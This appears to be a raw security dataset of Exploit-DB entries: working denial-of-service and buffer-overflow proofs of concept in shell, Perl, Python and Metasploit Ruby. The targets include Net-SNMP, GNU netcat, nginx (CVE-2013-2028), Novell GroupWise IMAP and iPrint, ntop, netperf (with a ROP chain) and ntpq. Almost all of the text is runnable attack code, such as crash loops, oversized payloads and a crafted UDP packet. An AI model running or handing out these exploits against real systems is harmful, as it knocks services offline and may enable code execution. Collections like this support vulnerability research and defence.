deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38854
Description: Net-SNMP - SNMPD AgentX Subagent Timeout Denial of Service
Type: dos
Platform: linux
Date: 2012-09-05
Author: Ken Farnen

Exploit:
source: https://www.securityfocus.com/bid/64048/info

Net-SNMP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to cause the SNMPD to crash, exhaust CPU resources or trigger infinite loop; denying service to legitimate users.

Net-SNMP 5.7.1 is vulnerable; other versions may also be affected. 

#!/bin/sh

SNMPOPTS="-v1 -c public"
LUCKYSNMPD=$1
SNMPWALKCMD="snmpwalk $SNMPOPTS $LUCKYSNMPD"
SNMPGETCMD="snmpget $SNMPOPTS $LUCKYSNMPD"
SNMPGETNEXTCMD="snmpgetnext $SNMPOPTS $LUCKYSNMPD"
TESTMIB=.1.3.6.1.4.1.8072.2
TESTTELEM=$TESTMIB.5
TESTHDD=$TESTMIB.1.1.2


while true
do

	$SNMPGETNEXTCMD $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.4.2 $TESTTELEM.1.1.4.3 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.4.5 $TESTTELEM.1.1.2.3 $TESTTELEM.1.1.6.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.3.1 $TESTTELEM.1.1.1.2 $TESTTELEM.1.1.1.2 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.3.3 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.8.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.6.1 $TESTTELEM.1.1.2.1

	$SNMPGETNEXTCMD $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.8.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.4.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.6.1 $TESTTELEM.1.1.2.1 $TESTTELEM.1.1.7.1 $TESTTELEM.1.1.2.1

	for i in 1 2 3
	do
	$SNMPGETNEXTCMD $TESTTELEM.1.1.3 $TESTTELEM.1.1.2 $TESTTELEM.1.1.4 $TESTTELEM.1.1.2 $TESTHDD.4 $TESTHDD.5 $TESTHDD.7 $TESTHDD.5 $TESTHDD.2 $TESTHDD.1 $TESTHDD.4 $TESTHDD.1 $TESTHDD.7 $TESTHDD.1 $TESTHDD.8 $TESTHDD.1 $TESTHDD.14 $TESTHDD.1 $TESTHDD.13 $TESTHDD.1
	done


done
Exploit-DB #7100
Description: Net-SNMP 5.1.4/5.2.4/5.4.1 Perl Module - Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2008-11-12
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

################################################################################################################
#    Buffer overflow in the __snprint_value function in snmp_get in Net-SNMP 5.1.4, 5.2.4, and 5.4.1,
#    as used in SNMP.xs for Perl, allows remote attackers to cause a denial of service (crash) and
#    possibly execute arbitrary code via a large OCTETSTRING in an attribute value pair (AVP).
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2292
#    https://www.securityfocus.com/bid/29212/discuss
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy Networks for making this possible
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf("\nEnter the IP Adress of Vulnerable SNMP Manager Agent:  ");
$host_vulnerable = <STDIN>;
$port = 161;
#default SNMP port
$community = "D" x 5000;

($session, $error) = Net::SNMP->session(
                                               -hostname      => $host_vulnerable,
                                               -port          => $port,
                                               -community     => $community,
                                             -maxmsgsize    => 7000,
                                        );
 if (!defined($session))
 {
      printf("ERROR: %s.\n", $error);
      exit 1;
 }

$sysUpTime = '1.3.6.1.2.1.1.3.0';
$snmp_mal_request = $session->get_request(
                                              -varbindlist => [$sysUpTime],
                                          );

 if (!defined($snmp_mal_request)) {
                                      printf("ERROR: %s.\n", $session->error);
                                      $session->close;
                                      exit 1;
                                  }

$session->close;

# milw0rm.com [2008-11-12]
Exploit-DB #45544
Description: net-snmp 5.7.3 - (Unauthenticated) Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2018-10-08
Author: Magnus Klaaborg Stubman

Exploit:
# Exploit Title: net-snmp 5.7.3 - Unauthenticated Denial of Service (PoC)
# Date: 2018-10-08
# Exploit Author: Magnus Klaaborg Stubman 
# Website: https://dumpco.re/blog/net-snmp-5.7.3-remote-dos
# Vendor Homepage: http://www.net-snmp.org/
# Software Link: https://sourceforge.net/projects/net-snmp/files/net-snmp/5.7.3/
# Version: 5.7.3, 5.5.2.1, 5.6.2.1, others not tested

echo -n "MIG1AgEDMBECBACeXRsCAwD/4wQBBQIBAwQvMC0EDYAAH4iAWdxIYUWiYyICAQgCAgq5BAVwaXBwbwQMBVsKohj9MlusDerWBAAwbAQFgAAAAAYEAKFZAgQsGA29AgEAAgEAMEswDQEEAWFFg2MiBAChWQIELBgNvQIBAAIBADBLMA0GCSsGAQIBAgI1LjI1NS4wMCEGEisGNS4yNTUuMAEEAYF9CDMKAgEHCobetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/161
Exploit-DB #40866
Description: NetCat 0.7.1 - Denial of Service
Type: dos
Platform: linux
Date: 2016-12-05
Author: n30m1nd

Exploit:
#/usr/bin/python
#-*- Coding: utf-8 -*-

### GNU Netcat 0.7.1 - Out of bounds array write (Access Violation) by n30m1nd ### 

# Date: 2016-11-19
# Exploit Author: n30m1nd
# Vendor Homepage: http://netcat.sourceforge.net/
# Software Link: https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
# Version: 0.7.1
# Tested on: Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux

# Credits
# =======
# Props to Giovanni and Armando creators of this useful piece of software, thank you guys!
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better. See you at AWE!

# How to
# ======
# * Get a distribution that ships with gnu netcat or Compile netcat from sources:
#       * # Download
#       * tar -xzf netcat-0.7.1.tar.gz
#       * cd netcat-0.7.1/
#       * ./configure
#       * make
#       * # Netcat will be deployed in src/netcat
#
# * Set netcat to listen like the following:
#   * ./netcat -nlvp 12347 -T
# * Just run this script on a different terminal
#

# Why?
# ====
# When the Telnet Negotiation is activated (-T option), Netcat parses the incoming packets looking for Telnet Control Codes
# by running them through buggy switch/case code. 
# Aforementioned code fails to safely check for array boundaries resulting in an array out of bounds write.

# Vulnerable code
# ===============
# telnet.c
# ...
# 76   static unsigned char getrq[4];
# 77   static int l = 0;
# 78   unsigned char putrq[4], *buf = ncsock->recvq.pos;
# ...
# 88   /* loop all chars of the string */
# 89   for (i = 0; i < ref_size; i++) {
# 90     /* if we found IAC char OR we are fetching a IAC code string process it */
# 91     if ((buf[i] != TELNET_IAC) && (l == 0))
# ...
#100     getrq[l++] = buf[i]; // BANG!
# 99     /* copy the char in the IAC-code-building buffer */
# ...
# 76   static unsigned char getrq[4];
# 77   static int l = 0;
# 78   unsigned char putrq[4], *buf = ncsock->recvq.pos;

# Exploit code
# ============

import socket

RHOST = "127.0.0.1"
RPORT = 12347

print("[+] Connecting to %s:%d") % (RHOST, RPORT)
s = socket.create_connection((RHOST, RPORT))
s.send("\xFF") # Telnet control character
print("[+] Telnet control character sent")
print("[i] Starting")
try:
	i = 0
	while True: # Loop until it crashes
		i += 1
		s.send("\x30")
except:
	print("[+] GNU Netcat crashed on iteration: %d") % (i)
Exploit-DB #44190
Description: netek 0.8.2 - Denial of Service
Type: dos
Platform: linux
Date: 2018-02-27
Author: Lawrence Amer

Exploit:
#Exploit Title : netek 0.8.2 FTP Denial of Service 
#Test on : windowsXPs3 + windows 7
#software Link :https://sourceforge.net/projects/netek.berlios/
#version : 0.8.2
#author : Lawrence Amer
#site : lawrenceamer.me
#affected product uses default port 30817 , it can be chnaged also 
#!/bin/python
import socket

 
ip = raw_input("[+] IP to attack: ")
 
sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,30817)))
        print "[+] Connection %d" % i
        crash1 = "\x41"*5000 +"\X42"*1000
        sarr[i].send(crash1+'\r\n')
        i+=1
    except socket.error:
        print "[*] Server crashed with CPU 100!!"
        raw_input()
        break
Exploit-DB #46997
Description: Netperf 2.6.0 - Stack-Based Buffer Overflow
Type: dos
Platform: linux
Date: 2019-06-17
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: Netperf 2.6.0 s a benchmark tool than developed by Helett Packard that can be used to measure the performance of many different types of networking.
# It provides tests for both unidirectional troughput and end-to-end latency.
#
# Vendor: https://hewlettpackard.github.io/netperf/
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x41424344 in ?? ()
# LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
#  EAX  0x6d
#  EBX  0x41414141 ('AAAA')
#  ECX  0x6f
#  EDX  0x430320 (test_name) 'TCP_STREAM'
#  EDI  0xb7ea2000 (_GLOBAL_OFFSET_TABLE_)
#  ESI  0xbfffd2c0 0x3
#  EBP  0x41414141 ('AAAA')
#  ESP  0xbfffd280 0x0
#  EIP  0x41424344 ('DCBA')
# Invalid address 0x41424344
# Program received signal SIGSEGV (fault address 0x41424344)
# PoC: run -a `python -c 'print "A"*8220+"DCBA"'`

from struct import pack

# int mprotect(void *addr, size_t len, int prot);
# define PROT_READ       0x1
# define PROT_WRITE      0x2
# define PROT_EXEC       0x4
#
# gef  p mprotect
# $1 = {<text variable, no debug info>} 0xb7dbdfd0 <mprotect>
# gef  p read
#{ssize_t (int, void *, size_t)} 0xb7db06b0 <__GI___libc_read>
#
# gef  ropgadget
#pop3ret = 0x402fea

offset = 8220
mprotect = 0xb7dbdfd0 # <mprotect>
read = 0xb7db06b0 # <read>
pop3ret = 0x402fea
target_memory = 0xb7fd4000 # r-xp [vdso]

rop_chain = 'A' * offset
rop_chain += pack('I', mprotect) # mprotect
rop_chain += pack('I', pop3ret) #  gadget
rop_chain += pack('I', 0xbffdf000) # arg - void*
rop_chain += pack('I', 0x100000) # arg size_t
rop_chain += pack('I',0x7) # arg int
rop_chain += pack('I', read)
rop_chain += pack('I', 0xbffdf000) # return stack
rop_chain += pack('I',0x00) # arg int fd
rop_chain += pack('I',0xbffdf000) # arg void
rop_chain += pack('I',0x200) # arg size_t

print rop_chain
Exploit-DB #25077
Description: Newspost 2.0/2.1 - Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2005-02-01
Author: Niels Heinen

Exploit:
source: https://www.securityfocus.com/bid/12418/info

Newspost is prone to a remote buffer overflow vulnerability due to an unbounded memory copy operation.

The problem occurs in the 'socket_getline()' function of 'socket.c' when the vulnerable client handles NNTP server responses.

Successful exploitation of this issue could potentially lead to arbitrary code execution.

This issue was reported to affect Newspost 2.1.1 and prior, however, other versions may be vulnerable. 

Create a server:
perl -e 'print "A" x 1024;print "BBBBCCCCDDDDEEEE"'| nc -v -l -p 119

Connect to it:
newspost -s test -i localhost -f me@me.nl -n news.news /etc/hosts
Exploit-DB #25499
Description: Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2013-05-17
Author: Mert SARICA

Exploit:
# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Google Dork: CVE-2013-2028
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2028

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked

if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"

if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip]\n"
        print "Example: python nginx_dos.py 127.0.0.1\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
        
while packet <= 5:

    body = "Mert SARICA"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

    try:
        con = httplib.HTTPConnection(host)
        url = "/mertsarica.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', "application/x-www-form-urlencoded")
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
        
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"

    packet = packet + 1
    
    con.close()

print "[+] Done!"
Exploit-DB #15463
Description: Novell Groupwise Internet Agent - IMAP 'LIST' Remote Code Execution
Type: dos
Platform: linux
Date: 2010-11-09
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   {PRL} Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution Vulnerability
Platforms:   Linux

Exploitation:   Remote code execution

CVE Number: Pending

Novell TID:   7007151

ZeroDayInitiative: ZDI-10-242

Author:   Francis Provencher (Protek Research Lab's) 

Blog:   http://www.protekresearchlab.com/

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The
company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell
NetWare; identity, security, and systems management solutions; and collaboration solutions,
such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a
focus for technology and software development. Novell technology contributed to the emergence
of local area networks, which displaced the dominant mainframe computing model and changed 
computing worldwide. Today, a primary focus of the company is on developing open source software
for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2010-07-20 Vendor Contact by Tippingpoint
2010-11-08 Vendor release advisory


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations 
of Novell Groupwise Internet Agent. Authentication is not required to exploit this vulnerability.

The flaw exists within the IMAP server component which listens by default on TCP port 143. When
handling an IMAP LIST command with a large parameter the process attempts to free the same memory
twice. A remote attacker can exploit this vulnerability to execute arbitrary code under the 
context of the IMAP server.

#####################################################################################

===========
4) The Code
===========


#!/usr/bin/python
#
# Francis Provencher
# Protek Research Lab.
#
#


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 56000

s.connect(('192.168.100.177',143))
s.recv(1024)
s.send('A001 LOGIN test test \r\n')
s.recv(1024)
s.send('A001 SUBSCRIBE ' + buffer + '\r\n')
s.recv(1024)
s.close()


#####################################################################################
(PRL-2010-07)
Exploit-DB #16192
Description: Novell Iprint - LPD Remote Code Execution
Type: dos
Platform: linux
Date: 2011-02-18
Author: Francis Provencher

Exploit:
#!/usr/bin/perl

## Source:
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=21&Itemid=21

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = \&abort;

my $host  = '10.102.3.79';
my $port  = 515;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;


my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

my @commands = (
{Command => 'Send',
 Data => "\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x43\x42\x41\x0a"},

);

my $sock = new IO::Socket::INET (	
                PeerAddr => $host,
				        PeerPort => $port, 
				        Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            ) 
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;


foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}


close ($sock);
Exploit-DB #23884
Description: NSTX 1.0/1.1 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2004-03-26
Author: laurent oudot

Exploit:
source: https://www.securityfocus.com/bid/9989/info

It has been reported that NSTX is prone to a remote denial of service vulnerability. This issue is due to a failure of the application to handle network strings of excessive length.

This issue may allow a remote attacker to cause the affected process to crash, denying service to legitimate users.

remote-hacker$ perl -e '{ print "A" x 500 }' | nc -u www.example.com
Exploit-DB #33176
Description: ntop 3.3.10 - HTTP Basic Authentication Null Pointer Dereference Denial of Service
Type: dos
Platform: linux
Date: 2009-08-18
Author: Brad Antoniewicz

Exploit:
source: https://www.securityfocus.com/bid/36074/info

The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects ntop 3.3.10; other versions may also be affected. 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
        include Msf::Auxiliary::Dos

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'NTOP <= 3.3.10 Basic Authorization DoS',
                        'Description'    => %q{
                                A denial of service condition can be reached by specifying an invalid value for the Authorization
                                HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
                                a colon. When no colon exists in the decoded string the username is left at its default NULL value.
                                During the authentication process the length of the username is computed via strlen(), which results
                                in a segmentation fault when it processes the null value.
                        },
                        'Author'         => 'Brad Antoniewicz <brad.antoniewicz@foundstone.com>',
                        'License'        => MSF_LICENSE,
                        'Version'        => '1',
                        'References'     => [
                                [ 'BID', 'None'],
                                [ 'CVE', 'CVE-2009-2732']

                        ],
                        'DisclosureDate' => 'Aug 08 2009'))
                        register_options( [Opt::RPORT(3000),], self.class )

        end

        def run
                begin
                        o = {
                                'uri' => '/configNtop.html',
                                'headers' => {
                                        'Authorization' => 'Basic A=='
                                }
                        }

                        c = connect(o)
                        c.send_request(c.request_raw(o))

                        print_status("Request sent to #{rhost}:#{rport}")
                rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                        print_status("Couldn't connect to #{rhost}:#{rport}")
                rescue ::Timeout::Error, ::Errno::EPIPE
                end
        end
end
Exploit-DB #44909
Description: ntp 4.2.8p11 - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2018-06-20
Author: Fakhri Zulkifli

Exploit:
# Exploit Title: ntpq and ntpdc 4.2.8p11 Local Buffer Overflow
# Date: 2018-06-06
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: http://www.ntp.org/
# Software Link: http://www.ntp.org/downloads.html
# Version: 4.2.8p11 and earlier
# Tested on: 4.2.8p11
# CVE : CVE-2018-12327

Stack-based buffer overflow in ntpq and ntpdc of NTP version 4.2.8p11 allows a local attacker to achieve code execution or escalate to higher privileges via a long string as the argument for an IPv4 or IPv6 command-line parameter.

$ ./ntpq -4 [`python -c 'print "A" * 300’`]

#0 0x562fcada86ce in openhost /home/user/ntp-4.2.8p11/ntpq/ntpq.c:655:12
#1 0x562fcada5f2a in ntpqmain /home/user/ntp-4.2.8p11/ntpq/ntpq.c:606:10
#2 0x562fcada4729 in main /home/user/ntp-4.2.8p11/ntpq/ntpq.c:469:9
#3 0x7f79b684982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x562fcac96d88 in _start (/home/user/ntp-4.2.8p11/ntpq/ntpq+0xacd88)

$ ./ntpdc -4 [`python -c 'print "A" * 300'`]

#0 0x55f726641efe in openhost /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:413:12
#1 0x55f7266400d4 in ntpdcmain /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:365:10
#2 0x55f72663f269 in main /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:255:9
#3 0x7f0fc632382f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x55f7265362d8 in _start (/home/user/ntp-4.2.8p11/ntpdc/ntpdc+0x9d2d8)